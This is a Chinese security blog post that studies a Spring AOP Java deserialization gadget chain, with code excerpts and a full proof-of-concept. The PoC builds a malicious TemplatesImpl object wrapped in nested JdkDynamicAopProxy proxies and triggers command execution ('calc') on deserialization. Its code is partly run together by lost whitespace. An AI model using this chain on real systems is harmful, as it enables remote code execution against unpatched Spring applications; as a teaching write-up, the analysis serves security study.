JavaSec | SpringAOP 链学习分析

admin 2025年5月12日14:39:31评论13 views字数 9734阅读32分26秒阅读模式

扫码领资料

获网安教程

JavaSec | SpringAOP 链学习分析
JavaSec | SpringAOP 链学习分析

本文由掌控安全学院 -  yusi 投稿

Track安全社区投稿~  

千元稿费!还有保底奖励~( https://bbs.zkaq.cn)

链子分析

反向分析

依赖于 Spring-AOP 和 aspectjweaver 两个包,在我们 springboot 中的 spring-boot-starter-aop 自带包含这俩类,所以也可以说是 spring boot 的原生反序化链了,调用链如下,

GadgetJdkDynamicAopProxy.invoke()->    ReflectiveMethodInvocation.proceed()->        JdkDynamicAopProxy.invoke()->            AspectJAroundAdvice.invoke->            org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()->                method.invoke()

这里调用两次 JdkDynamicAopProxy.invoke()是因为后面包了两层 JdkDynamicAopProxy 代理。

看似链子很简单其实里面大有学问,先看链子最后 org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod()方法,会调用到 invokeAdviceMethodWithGivenArgs 方法,在这个方法中存在反射调用

JavaSec | SpringAOP 链学习分析

aspectJAdviceMethod 变量可以控制,让其为目标方法,this.aspectInstanceFactory.getAspectInstance() 看师傅们选的是 SingletonAspectInstanceFactory 这个 factory 类,同样可以控制返回值,至于方法参数 actualArgs 我也难得看了,这里先不管,无参方法的话就选择 newTransformer() 吧,

JavaSec | SpringAOP 链学习分析

接着继续看链子可以知道在 AspectJAroundAdvice#invoke 调用了 org.springframework.aop.aspectj.AbstractAspectJAdvice.invokeAdviceMethod() 方法,因为 AspectJAroundAdvice 是子类,其没有invokeAdviceMethod()方法所以会调用到父类AbstractAspectJAdvice的该方法,

这里简单提一下双亲委派机制,上面不是说了父类实列化才能控制几个变量吗,但是其实看后面分析,我们需要传入的对象其实也就是AspectJAroundAdvice对象,而我们实列化AspectJAroundAdvice对象传入的变量其实同样会影响到父类,调用到父类invokeAdviceMethod()方法时,如果父类的变量为null就会去子类寻找

JavaSec | SpringAOP 链学习分析

参数什么的就不用管了,然后继续顺着链子向上看,来到 ReflectiveMethodInvocation.proceed() 方法,

JavaSec | SpringAOP 链学习分析

需要让这里的 interceptorOrInterceptionAdvice 变量为 AspectJAroundAdvice 类,朔源一下interceptorsAndDynamicMethodMatchers变量,在构造函数进行了赋值,(不过不能直接实列化)

JavaSec | SpringAOP 链学习分析

最后来到JdkDynamicAopProxy.invoke()方法,看到在else分支调用了我们的 ReflectiveMethodInvocation.proceed() 方法,而且巧妙的是ReflectiveMethodInvocation类没有继承serializable接口,不能被反序列化的,但是这里直接就进行实列化

JavaSec | SpringAOP 链学习分析

正向分析

我们需要控制的也就是 chain 参数,其就是上面的interceptorOrInterceptionAdvice 变量,我们要让其为AspectJAroundAdvice 类,而且chain也只有不为空才能来到else分支,

List<Object> chain = this.advised.getInterceptorsAndDynamicInterceptionAdvice(method, targetClass);

跟进 getInterceptorsAndDynamicInterceptionAdvice(method, targetClass) 方法,最后返回的是cached变量,有两处进行了赋值,

JavaSec | SpringAOP 链学习分析

这里就是在 map 缓存中寻找,但是简单查看就知道 methodCache 是 transient 修饰的,不能进行序列化所以一定为 null,

List<Object> cached = (List)this.methodCache.get(cacheKey);

只能考虑下面这段代码了,

cached = this.advisorChainFactory.getInterceptorsAndDynamicInterceptionAdvice(this, method, targetClass);

继续跟进 getInterceptorsAndDynamicInterceptionAdvice方法,实现了这个方法的只有DefaultAdvisorChainFactory类。

看到最后返回的是interceptorList变量,看到只有在for循环中才会对interceptorList赋值,而要进行for循环就需要config.getAdvisors();不为空列表,看到 config 就是上面传入的this也就是AdvisedSupport对象,我们需要AdvisedSupport.getAdvisors()不为空列表,这个很好控制,

那么我们控制的AdvisedSupport对象是怎么传进去的呢,我分析发现这是从jack稳定开始JdkDynamicAopProxy构造函数的参数就用的这个对象,因为JdkDynamicAopProxy对象中那个参数advised就是AdvisedSupport

public List<Object> getInterceptorsAndDynamicInterceptionAdvice(Advised config, Method method, @Nullable Class<?> targetClass) {  AdvisorAdapterRegistryregistry= GlobalAdvisorAdapterRegistry.getInstance();      Advisor[] advisors = config.getAdvisors();      List<Object> interceptorList = newArrayList(advisors.length);      Class<?> actualClass = targetClass != null ? targetClass : method.getDeclaringClass();  BooleanhasIntroductions=null;      Advisor[] var9 = advisors;  intvar10= advisors.length;  for(intvar11=0; var11 < var10; ++var11) {  Advisoradvisor= var9[var11];  if (advisor instanceof PointcutAdvisor) {  PointcutAdvisorpointcutAdvisor= (PointcutAdvisor)advisor;  if (config.isPreFiltered() || pointcutAdvisor.getPointcut().getClassFilter().matches(actualClass)) {  MethodMatchermm= pointcutAdvisor.getPointcut().getMethodMatcher();  boolean match;  if (mm instanceof IntroductionAwareMethodMatcher) {  if (hasIntroductions == null) {                          hasIntroductions = hasMatchingIntroductions(advisors, actualClass);                      }                      match = ((IntroductionAwareMethodMatcher)mm).matches(method, actualClass, hasIntroductions);                  } else {                      match = mm.matches(method, actualClass);                  }  if (match) {                      MethodInterceptor[] interceptors = registry.getInterceptors(advisor);  if (mm.isRuntime()) {                          MethodInterceptor[] var17 = interceptors;  intvar18= interceptors.length;  for(intvar19=0; var19 < var18; ++var19) {  MethodInterceptorinterceptor= var17[var19];                              interceptorList.add(newInterceptorAndDynamicMethodMatcher(interceptor, mm));                          }                      } else {                          interceptorList.addAll(Arrays.asList(interceptors));                      }                  }              }          } elseif (advisor instanceof IntroductionAdvisor) {  IntroductionAdvisoria= (IntroductionAdvisor)advisor;  if (config.isPreFiltered() || ia.getClassFilter().matches(actualClass)) {                  Interceptor[] interceptors = registry.getInterceptors(advisor);                  interceptorList.addAll(Arrays.asList(interceptors));              }          } else {              Interceptor[] interceptors = registry.getInterceptors(advisor);              interceptorList.addAll(Arrays.asList(interceptors));          }      }  return interceptorList;  }

然后进入循环后就是看到interceptors的赋值了

 Interceptor[] interceptors = registry.getInterceptors(advisor);  

registry就是DefaultAdvisorAdapterRegistry对象,跟进看到advice如果继承了MethodInterceptor类就会被添加进interceptors中,

JavaSec | SpringAOP 链学习分析

而这个advice变量需要时Advice类型然后还需要实现MethodInterceptor接口,我们需要让这个advice为我们的目标类也就是 AspectJAroundAdvice ,但是这个目标类只实现了MethodInterceptor接口,

这就不得不提师傅们的顶级思路了,通过再套层JdkDynamicAopProxy代理让我们的AspectJAroundAdvice类实现MethodInterceptor接口并且为advice类型,然后最后得到的advice就是个proxy,

JavaSec | SpringAOP 链学习分析

然后一直返回到 chain,

JavaSec | SpringAOP 链学习分析

跟进就来到上面反向分析的ReflectiveMethodInvocation.proceed()方法,在这里看到我们的interceptorOrInterceptionAdvice为代理类,

JavaSec | SpringAOP 链学习分析

触发JdkDynamicAopProxy#invoke,反射调用目标类的 invoke 方法,

JavaSec | SpringAOP 链学习分析

最后回到上面的反向分析的调用链,最后进行命令执行

poc 构造

经过上面分析,链子构造就层层赋值就可以了,这里参考一下:https://gsbp0.github.io/post/springaop/ 进行构造 poc,

通过 tostring 进行触发代理类,当然其实什么方法可以。

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  import javassist.ClassPool;  import javassist.CtClass;  import javassist.CtConstructor;  import org.aopalliance.aop.Advice;  import org.aopalliance.intercept.MethodInterceptor;  import org.springframework.aop.aspectj.AbstractAspectJAdvice;  import org.springframework.aop.aspectj.AspectJAroundAdvice;  import org.springframework.aop.aspectj.AspectJExpressionPointcut;  import org.springframework.aop.aspectj.SingletonAspectInstanceFactory;  import org.springframework.aop.framework.AdvisedSupport;  import org.springframework.aop.support.DefaultIntroductionAdvisor;  import org.springframework.core.Ordered;  import java.io.*;  import java.lang.reflect.*;  import java.util.PriorityQueue;  import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  import javax.management.BadAttributeValueExpException;  import javax.xml.transform.Templates;  publicclasstest {  publicstaticvoidmain(String[] args)throws Exception {  ClassPoolpool= ClassPool.getDefault();  CtClassclazz= pool.makeClass("a");  CtClasssuperClass= pool.get(AbstractTranslet.class.getName());          clazz.setSuperclass(superClass);  CtConstructorconstructor=newCtConstructor(newCtClass[]{}, clazz);          constructor.setBody("Runtime.getRuntime().exec("calc");");          clazz.addConstructor(constructor);  byte[][] bytes = newbyte[][]{clazz.toBytecode()};  TemplatesImpltemplates= TemplatesImpl.class.newInstance();          setValue(templates, "_bytecodes", bytes);          setValue(templates, "_name""test");          setValue(templates, "_tfactory"null);          Method method=templates.getClass().getMethod("newTransformer");//获取newTransformer方法  SingletonAspectInstanceFactoryfactory=newSingletonAspectInstanceFactory(templates);  AspectJAroundAdviceadvice=newAspectJAroundAdvice(method,newAspectJExpressionPointcut(),factory);  Proxyproxy1= (Proxy) getAProxy(advice,Advice.class);  BadAttributeValueExpExceptionbadAttributeValueExpException=newBadAttributeValueExpException(123);          setValue(badAttributeValueExpException, "val", proxy1);          serilize(badAttributeValueExpException);          deserilize("ser.bin");      }  publicstatic Object getBProxy(Object obj,Class[] clazzs)throws Exception      {  AdvisedSupportadvisedSupport=newAdvisedSupport();          advisedSupport.setTarget(obj);  Constructorconstructor= Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);          constructor.setAccessible(true);  InvocationHandlerhandler= (InvocationHandler) constructor.newInstance(advisedSupport);  Objectproxy= Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), clazzs, handler);  return proxy;      }  publicstatic Object getAProxy(Object obj,Class<?> clazz)throws Exception      {  AdvisedSupportadvisedSupport=newAdvisedSupport();          advisedSupport.setTarget(obj);  AbstractAspectJAdviceadvice= (AbstractAspectJAdvice) obj;  DefaultIntroductionAdvisoradvisor=newDefaultIntroductionAdvisor((Advice) getBProxy(advice, newClass[]{MethodInterceptor.class, Advice.class}));          advisedSupport.addAdvisor(advisor);  Constructorconstructor= Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);          constructor.setAccessible(true);  InvocationHandlerhandler= (InvocationHandler) constructor.newInstance(advisedSupport);  Objectproxy= Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), newClass[]{clazz}, handler);  return proxy;      }  publicstaticvoidserilize(Object obj)throws IOException {          ObjectOutputStream out=newObjectOutputStream(newFileOutputStream("ser.bin"));          out.writeObject(obj);      }  publicstatic Object deserilize(String Filename)throws IOException,ClassNotFoundException{          ObjectInputStream in=newObjectInputStream(newFileInputStream(Filename));          Object obj=in.readObject();  return obj;      }  publicstaticvoidsetValue(Object obj,String fieldName,Object value)throws Exception {  Fieldfield= obj.getClass().getDeclaredField(fieldName);          field.setAccessible(true);          field.set(obj,value);      }  }

总结

这里的JdkDynamicAopProxy代理类实现MethodInterceptor接口又是Advice类型只是一层,另一层是后续把这个代理类当作目标类进行处理调用 invoke 方法然后触发handler#invoke方法,再次反射调用AspectJAroundAdvice#invoke方法形成利用。

参考:https://gsbp0.github.io/post/springaop/

参考:https://mp.weixin.qq.com/s/oQ1mFohc332v8U1yA7RaMQ

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

JavaSec | SpringAOP 链学习分析

原文始发于微信公众号(掌控安全EDU):JavaSec | SpringAOP 链学习分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月12日14:39:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   JavaSec | SpringAOP 链学习分析https://cn-sec.com/archives/4054419.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息